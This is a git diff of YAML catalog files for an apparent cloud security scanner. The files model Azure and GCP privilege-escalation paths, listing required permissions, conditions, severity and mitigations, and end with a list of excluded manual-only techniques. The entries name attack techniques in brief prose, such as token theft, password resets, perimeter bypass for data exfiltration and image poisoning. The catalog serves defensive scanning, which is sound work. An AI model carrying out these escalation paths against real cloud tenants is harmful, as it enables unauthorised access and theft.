who need emergency cluster access. + references: + - https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift + notes: This route does not require the kubeadmin user. The result remains conditional on API server reachability. The hosted-control-plane preview (hcpOpenShiftClusters) is not modeled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml index 17a50ddbe0..7b528560c6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml @@ -4,7 +4,7 @@ # are excluded unless verified content establishes a usable credential for a named target principal. # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure Spring Apps techniques (declarative only). -# Source: hacktricks-cloud az-spring-apps-privesc.md (rev f4dab1c063). +# Source: hacktricks-cloud az-spring-apps-privesc.md (rev 171e422). # Action names checked against Microsoft's Spring Apps custom-role permission lists (how-to-permissions). # App identities live on Microsoft.AppPlatform/Spring/apps; {target.host_resource} is that app. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml new file mode 100644 index 0000000000..dd5878c798 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml @@ -0,0 +1,29 @@ +- id: azure-audit-microsoftwebstaticsiteslistsecretsaction + provider: azure + service: static_web_apps + title: Read a Static Web Apps deployment token for one site + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + summary: A principal able to list the secrets of an existing Static Web App may obtain its deployment token and replace content served by that site. + requires: + all_of: + - action: Microsoft.Web/staticSites/listSecrets/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Deployment authority for Static Web App {target.scope} + outcome: bounded_authority + selector: + azure_static_site_deployment_token: true + conditions: + - id: token_not_retrieved + description: The modeled permission can request the site's deployment token; the scanner does not retrieve the token or attempt a deployment. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant listSecrets only to trusted site deployers and rotate a token if it was exposed. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/static-sites/list-static-site-secrets + - https://learn.microsoft.com/en-us/azure/static-web-apps/static-web-apps-cli + notes: The selector requires one inventoried static site and effective listSecrets authorization on that exact resource. A token response or deployment is not claimed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml index 4c7d489850..c97222cbd7 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml @@ -43,75 +43,75 @@ - azure_service_principal - azure_managed_identity source_revision: 658a097d5c -- id: azure-storage-local-user-create-with-sftp-access +- id: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction provider: azure service: storage - title: Create a Storage SFTP local user with container access - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread - source_revision: 658a097d5c - summary: The source can create an SFTP local user with its own SSH key and read permission on an existing container. The new identity has no Entra or ARM authority. + title: Regenerate an existing Storage SFTP local user password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + summary: The source can obtain the observed container permissions of this existing + Storage local SFTP user by regenerating its enabled SSH password. This service + identity has no Entra or ARM authority. requires: all_of: - - action: Microsoft.Storage/storageAccounts/localUsers/write + - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action scope: '{target.scope}' target: kind: azure_storage_local_user selector: - azure_storage_local_credential: create_credential + azure_storage_local_credential: reset_password scope: inherited_scope outcome: credentials conditions: - id: sftp_runtime_network_and_credential_use - description: The source must create the user with its SSH key and reach the storage account SFTP endpoint. + description: The source must perform the allowed credential operation and reach + the account SFTP endpoint. Only this local user and its observed container permission + scopes are gained; no Entra or ARM authority follows. blockers: - azure_deny_assignment confidence: conditional severity: high - mitigation: Restrict localUsers/write on SFTP-enabled storage accounts to administrators who need to manage local users. + mitigation: Restrict the listed action to principals that need this service privilege. references: - - https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support-authorize-access - notes: Requires verified enabled SFTP and local-user settings, complete user inventory to choose an unused name, and at least one inventoried Blob container. The listed read permission is assignable to a new service identity; no user or credential is actually created by the analyzer. + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, + unique complete local-user inventory, and the exact existing containers named + in permissionScopes. The reset path also requires existing SSH password authentication. + Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new + local user or expanding its permissions is outside this bounded path. source_kind: - azure_user - azure_service_principal - azure_managed_identity -- id: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction + source_revision: 658a097d5c +- id: azure-storage-local-user-create-with-sftp-access provider: azure service: storage - title: Regenerate an existing Storage SFTP local user password - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction - summary: The source can obtain the observed container permissions of this existing - Storage local SFTP user by regenerating its enabled SSH password. This service - identity has no Entra or ARM authority. + title: Create a Storage SFTP local user with container access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + source_revision: 658a097d5c + summary: The source can create an SFTP local user with its own SSH key and read permission on an existing container. The new identity has no Entra or ARM authority. requires: all_of: - - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action + - action: Microsoft.Storage/storageAccounts/localUsers/write scope: '{target.scope}' target: kind: azure_storage_local_user selector: - azure_storage_local_credential: reset_password + azure_storage_local_credential: create_credential scope: inherited_scope outcome: credentials conditions: - id: sftp_runtime_network_and_credential_use - description: The source must perform the allowed credential operation and reach - the account SFTP endpoint. Only this local user and its observed container permission - scopes are gained; no Entra or ARM authority follows. + description: The source must create the user with its SSH key and reach the storage account SFTP endpoint. blockers: - azure_deny_assignment confidence: conditional severity: high - mitigation: Restrict the listed action to principals that need this service privilege. + mitigation: Restrict localUsers/write on SFTP-enabled storage accounts to administrators who need to manage local users. references: - - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage - notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, - unique complete local-user inventory, and the exact existing containers named - in permissionScopes. The reset path also requires existing SSH password authentication. - Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new - local user or expanding its permissions is outside this bounded path. + - https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support-authorize-access + notes: Requires verified enabled SFTP and local-user settings, complete user inventory to choose an unused name, and at least one inventoried Blob container. The listed read permission is assignable to a new service identity; no user or credential is actually created by the analyzer. source_kind: - azure_user - azure_service_principal - azure_managed_identity - source_revision: 658a097d5c diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml index d4f109a038..fc9ca17976 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml @@ -4,7 +4,7 @@ # are excluded unless verified content establishes a usable credential for a named target principal. # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure Synapse techniques (declarative only). -# Source: hacktricks-cloud az-synapse-privesc.md (rev f9d46eadb8). +# Source: hacktricks-cloud az-synapse-privesc.md (rev 171e422). - id: azure-synapse-entra-admin-write provider: azure diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml index 488dd5168e..82a2963292 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml @@ -1,103 +1,4 @@ # Excluded GCP source sections: no exact principal or new permission gain under current typed evidence contract. -- id: gcp-securesourcemanager-push-cicd - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#cicd-supply-chain-code-execution - technique: Push code to a repository that feeds a CI/CD pipeline - reason: Manual-only path. The collector has no Secure Source Manager repository or repository-controlled triggers file inventory, so it cannot join a writable ref to an automatic build and its exact service account. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-securesourcemanager-setiampolicy - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagerinstancessetiampolicy--repositoriessetiampolicy--iam-self-grant-to-readpoison-source - technique: Self-grant write on a Secure Source Manager instance or repository through IAM - reason: Manual-only path. IAM self-grant alone cannot establish a linked automatic build; the collector lacks the repository, branch, triggers file and build-service-account join. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-workspace-dwd-keyless-signjwt - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#keyless-dwd-abuse-with-signjwt-or-signblob - technique: Sign a delegation JWT with a service account's Google-managed key - reason: Manual-only path. GCP IAM can establish signJwt or signBlob permission, but the collector cannot read the Workspace tenant's domain-wide-delegation client grant, approved scopes, or a successful delegated token exchange. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-workspace-dwd-key-create - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#compromise-existing-delegation - technique: Create a key for a domain-wide-delegated service account - reason: Manual-only path. A key creation grant cannot establish that the exact service account has a Workspace domain-wide-delegation grant, that a subject and scope are accepted, or that the created key yields a delegated token. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-workspace-cloud-dns-admin-recovery - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery - technique: Publish a Workspace administrator-recovery DNS challenge - reason: Manual-only path. The collector does not establish that a writable public Cloud DNS zone is actually delegated for the Workspace tenant's primary domain or that administrator recovery accepts the challenge. A lookalike or private zone must not create a Workspace administrator edge. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-workspace-addons-deployment-update - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#gsuiteaddonsdeploymentsupdate - technique: Repoint an HTTP Workspace add-on deployment - reason: Manual-only path. The collector does not inventory the exact installed HTTP deployment, its consenting users and scopes, or a later invocation of the changed endpoint. Deployment-update permission alone cannot establish a Workspace user authority edge. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-firebaseauth-users-update-exact-user-credential - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthusersupdate--take-over-an-application-user-or-set-privileged-custom-claims - technique: Reset a Firebase user password and gain their application access - reason: Manual-only path. User-update permission does not prove an exact usable account, accepted password change, sign-in as that user, or an application action newly allowed to the caller. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-firebaseauth-configs-update-exact-idp-principal - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthconfigsupdate--hijack-identity-platform-blocking-functions - technique: Capture a federated IdP credential through a blocking function - reason: Manual-only path. Configuration update permission does not prove an attacker-controlled deployed blocking function, enabled forwarding for the actual IdP credential, a later supported federated sign-in, token capture, or new IdP access. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. -- id: gcp-firebaseapphosting-backends-update-source - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity - technique: Repoint an App Hosting backend to attacker-controlled source - reason: Manual-only path. Backend update permission and an existing backend do not prove control of an accepted replacement GitHub repository, the live branch, automatic rollout settings, path filters, or a later build. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. Exact build-and-rollout paths remain active. -- id: gcp-compute-images-create-family-poison - source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md#poison-a-consumed-custom-image-family - technique: Poison a consumed custom image family - reason: Manual-only path. Creating an image from any readable source does not prove control of its boot contents, and an unused instance template does not prove a VM will later boot from the family. The scan cannot bind a controlled image, exact active consumer, effective service account and scopes, and later boot. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. -- id: gcp-composer-environments-executeairflowcommand - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code - technique: Run Airflow CLI commands and inspect stored connections or variables - reason: Manual-only privilege escalation path. The permission can run existing Airflow code and read stored values, but the collector cannot prove that an existing command or DAG gives the caller control of the environment service account or a usable credential. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. A separate exact DAG upload or environment-update path remains active. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistrytagsupdate--repoint-a-mutable-tag-to-another-stored-version - technique: Repoint a mutable Artifact Registry tag to another version - reason: Manual-only path. The scanner does not bind an existing mutable tag, alternate version, and privileged consumer that later pulls that tag. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#dependency-confusion - technique: Artifact Registry dependency confusion - reason: Manual-only path. The scanner does not establish the exact package resolution, publishable upstream, and consumer that later installs it. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#upstream-credential-tamper--disclosure---remote-username----remote-password-secret-version - technique: Tamper with or disclose Artifact Registry upstream credentials - reason: Manual-only path. The scanner does not identify an exact remote repository, credential secret, or later credential use through a consumer. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. -- id: gcp-bigquery-table-row-credential - source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query - technique: Recover a usable service account private key from BigQuery table rows - reason: Manual-only path. The scanner does not read table rows or validate a private key found in them, - so it cannot identify an exact credential or the service account it authenticates. Keep the - HackTricks Cloud research; exclude this check from CSPM execution and the UI. -- id: gcp-bigtable-row-credential - source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows - technique: Recover a usable service account private key from Bigtable table rows - reason: Manual-only path. The scanner does not read Bigtable cells or validate a private key found in them, - so it cannot identify an exact credential or the service account it authenticates. Keep the - HackTricks Cloud data-access research; exclude this check from CSPM execution and the UI. -- id: gcp-bms-direct-initial-secret-exact-server-user - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bare-metal-solution-privesc.md#retrieve-a-still-valid-initial-server-password - technique: Use a BMS initial password from Secret Manager to access a named server user - reason: Manual-only path. The initial password may have been changed after first login, and the scanner cannot - authenticate to the BMS server or prove a newly allowed OS action. Keep the HackTricks Cloud technique - documented; exclude this check from CSPM execution and the UI. -- id: gcp-bigquery-remote-function-bounded-cloudrun-invoke - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--invoke-cloud-run-through-a-remote-function - technique: Invoke a protected Cloud Run endpoint through a BigQuery remote function - reason: Manual-only path. The scan does not collect the exact connection service account, supported endpoint and region, - endpoint protocol behavior, or a successful invocation that grants the source a new action. The former target existed - only after externally supplied before-and-after proof. Keep the HackTricks Cloud research; exclude this check from - CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path - technique: Read a protected table through one existing authorized view - reason: Manual-only path. The collector omits view SQL and cannot establish the exact protected table, prior caller denial, or an allowed query after the source dataset ACL change. The only target came from externally supplied before-and-after evidence. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorize-a-routine-as-an-indirect-access-path - technique: Read a protected table through an existing authorized routine - reason: Manual-only path. The collector does not inventory routine definitions or prove which protected table an existing routine accesses, the caller's prior denial, or an allowed invocation after the dataset ACL change. The only target came from externally supplied before-and-after evidence. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path - technique: Read a protected table through an existing view in an authorized dataset - reason: Manual-only path. Native collection does not capture the view query or prove its exact protected-table lineage, prior source denial, and an allowed query after adding the dataset ACL entry. The only target was an externally supplied before-and-after record. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. Direct dataset self-grant remains a separate active technique. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#bigquerytablescreate--bigqueryconnectionsdelegate--create-a-table-that-reads-as-the-connection-service-account - technique: Read protected storage through a connection-backed BigLake table - reason: Manual-only path. The collector does not establish a specific protected object, the connection service account's access to that object, compatible table schema and location, or a successful indirect read. The externally supplied before-and-after record cannot be generated by a scan. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriesuploadartifacts--poison-an-artifact-consumed-by-a-privileged-workload - technique: Publish Python or npm package content for a later privileged consumer - reason: Manual-only package path. The current collector does not establish an exact package and version selection, later install, and runtime identity. The active Docker-tag entry covers exact image consumers; this package path is excluded from execution and the UI. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionssetiampolicy--iamserviceaccountsactas - technique: Self-grant Cloud Functions update through a function-level IAM policy - reason: Google documents that only execution permissions are allowed at the per-function level. Changing a function policy cannot self-grant deployment or source-upload rights, so setIamPolicy plus runtime actAs is not an escalation path. Project-level deployment grants are covered by the active create and update techniques. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison - technique: Plant a new object in a Dataproc staging bucket for a later job - reason: Bucket create permission alone does not identify a job that will load the new object. The active job-submission entry covers caller-controlled execution, and the exact initialization-action replacement entry covers a collected consumer path. A new-object route needs a recorded consumer naming that object and evidence that the name is unused. - source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workload-identity-federation-persistence.md#iamgoogleapiscomworkloadidentitypoolscreate--workloadidentitypoolproviderscreate--external-backdoor technique: New workload identity pool and provider backdoor reason: The path also requires iam.serviceAccounts.setIamPolicy on the target SA; that permission alone can grant the caller Token Creator or Workload Identity @@ -690,6 +591,10 @@ - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#config-controller--config-connector-kcc technique: Config Controller / KCC intro reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + technique: KCC IAMServiceAccountKey plus Secret read + reason: Composition of gcp-configcontroller-kcc-resource-write (act as the Config Connector identity) with that identity's own gcp-iam-serviceaccountkeys-create + edge; the graph derives it transitively. - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery technique: Config Delivery intro reason: Introduction; no technique. @@ -716,7 +621,8 @@ reason: Alternative code-exec channel of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas. - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--container-image-on-serverless-workloads--dependencyenvironment-poisoning technique: Serverless --container-image dependency poisoning - reason: Tag movement needs a verified consumer and later pull, so it is manual-only in the privilege map; the Artifact Registry upload path has a separate review. Direct Dataproc launch is covered by gcp-dataproc-clusters-batches-create-actas. + reason: Image write paths are covered by gcp-artifactregistry-upload-artifacts / gcp-artifactregistry-tags-update (artifact_consumer); direct launch is covered + by gcp-dataproc-clusters-batches-create-actas. - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream technique: Page intro reason: Service introduction; no technique. @@ -2694,51 +2600,105 @@ - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#tagkeystagvaluessetiampolicy--self-grant-use-of-a-privileged-tag technique: Self-grant resourcemanager.tagValueBindings.create on a tag key reason: Tag keys and values are not project descendants in the typed resource-self-grant evidence contract. -- id: gcp-runtimeconfig-configs-setiampolicy-config-self-grant - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtimeconfigconfigssetiampolicy--self-grant-administration-of-one-config - technique: Self-grant runtimeconfig.variables.get on a config - reason: Manual-only path. The scanner collects neither an exact runtimeconfig resource with its IAM policy nor - the grantable role and effective before/after permission. The only current path uses externally reviewed mutation - evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; - exclude it from CSPM execution and the UI. -- id: gcp-spanner-databases-setiampolicy-database-self-grant - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access - technique: Self-grant spanner.databases.read on a database - reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy nor the grantable - role and effective before/after permission. The only current path uses externally reviewed mutation evidence, - so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; exclude - it from CSPM execution and the UI. -- id: gcp-spanner-instances-setiampolicy-instance-self-grant - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access - technique: Self-grant spanner.databases.read on a instance - reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy nor the grantable - role and effective before/after permission. The only current path uses externally reviewed mutation evidence, - so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique documented; exclude - it from CSPM execution and the UI. -- id: gcp-servicedirectory-namespaces-setiampolicy-self-grant - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence - technique: Self-grant servicedirectory.services.create on a namespace - reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM policy - nor the grantable role and effective before/after permission. The only current path uses externally reviewed - mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique - documented; exclude it from CSPM execution and the UI. -- id: gcp-servicedirectory-services-setiampolicy-self-grant - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence - technique: Self-grant servicedirectory.services.update on a service - reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM policy - nor the grantable role and effective before/after permission. The only current path uses externally reviewed - mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks Cloud technique - documented; exclude it from CSPM execution and the UI. -- id: gcp-saasservicemgmt-release-unit-actuation - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md#saasservicemgmtreleasescreate--unitoperationscreate--rolloutscreate--apply-attacker-terraform-as-an-actuation-service-account - technique: Apply an attacker blueprint release to existing Units as their actuation service account - reason: Manual-only path. The scanner does not collect existing Units, their actuation service accounts, compatible - release and rollout topology, or a resulting actuation. IAM permissions alone cannot establish a specific service-account - authority gain. Keep the HackTricks Cloud procedure documented; exclude it from CSPM execution and the UI. -- id: gcp-secretmanager-managed-rotation-exact-cloudsql-user - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretsenablemanagedrotation--reset-a-cloud-sql-users-password-through-the-secret-identity - technique: Reset one Cloud SQL user's password through managed secret rotation - reason: Manual-only path. The scanner does not run password rotation, verify the exact Cloud SQL user and secret - identity, or authenticate with a new password to prove a newly allowed database action. The current path depends - on externally reviewed login evidence. Keep the HackTricks Cloud technique documented; exclude it from CSPM - execution and the UI. + +- id: gcp-audit-s01-35-widen-a-view-caller-can-alre + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen a view caller can already read or mutate + reason: 'Manual-only: a view update must be compared with the caller’s prior read or mutation access and exact rows or columns + gained; no collector records this proof.' + +- id: gcp-biglake-connection-table-bounded-storage-read + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#bigquerytablescreate--bigqueryconnectionsdelegate--create-a-table-that-reads-as-the-connection-service-account + technique: Read one protected storage object through a connection-backed BigLake table + reason: 'Manual-only: the exact connection, table, object, and source denial followed by an allowed read require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-routine-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorize-a-routine-as-an-indirect-access-path + technique: Gain bounded protected-table access through one authorized routine + reason: 'Manual-only: exact callable routine, dataset authorization, prior denial, and later allowed table result require + a reviewed before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-view-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Gain bounded protected-table access through one authorized view + reason: 'Manual-only: exact view, dataset authorization, prior denial, and later allowed table result require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bigquery-authorized-dataset-existing-view-bounded-table-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Gain bounded protected-table access through one existing view in an authorized dataset + reason: 'Manual-only: the existing view, authorized dataset, protected table, prior denial, and later allowed query require + a reviewed before/after proof that the collector does not produce.' + +- id: gcp-audit-s01-02-loosen-access-level-for-atta + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access level for attacker IP, device, region or principal + reason: 'Manual-only: deciding access requires the exact caller context, protected consumer, and before/after authorization; + no collector records that complete join.' + +- id: gcp-audit-s01-03-create-a-bridge-perimeter-jo + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Create a bridge perimeter joining attacker and victim projects + reason: 'Manual-only: a bridge matters only for a particular previously blocked request and two eligible projects; no collector + records that before/after path.' + +- id: gcp-audit-s01-04-delete-a-perimeter-or-access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Delete a perimeter or access level to remove protection + reason: 'Manual-only: the specific gate and an otherwise IAM-authorized request must be observed before and after deletion; + no collector records this proof.' + +- id: gcp-audit-s01-06-delete-or-weaken-a-group-con + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: Delete or weaken a group context-aware access binding + reason: 'Manual-only: group membership, the affected context gate, and a protected consumer must be joined; no collector + records the complete path.' + +- id: gcp-audit-s01-21-repoint-accessible-gateway-a + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint accessible gateway app to new internal HTTP(S) host + reason: 'Manual-only: existing app use, upstream route, target host, and target authentication must be established together; + no collector records this path.' + +- id: gcp-dataproc-staging-object-plant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + technique: Plant a new Dataproc staging dependency for a later job + reason: 'Manual-only: bucket write access cannot establish an unused exact object name, a later job reference, and execution + by the cluster service account; these facts are not collected.' + +- id: gcp-bigtable-row-credential + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows + technique: Read Bigtable base-table rows + reason: 'Manual-only: a normal inventory does not read Bigtable cells or verify a reusable private key, exact service-account + subject, and successful authentication.' + +- id: gcp-bigquery-remote-function-bounded-cloudrun-invoke + source: 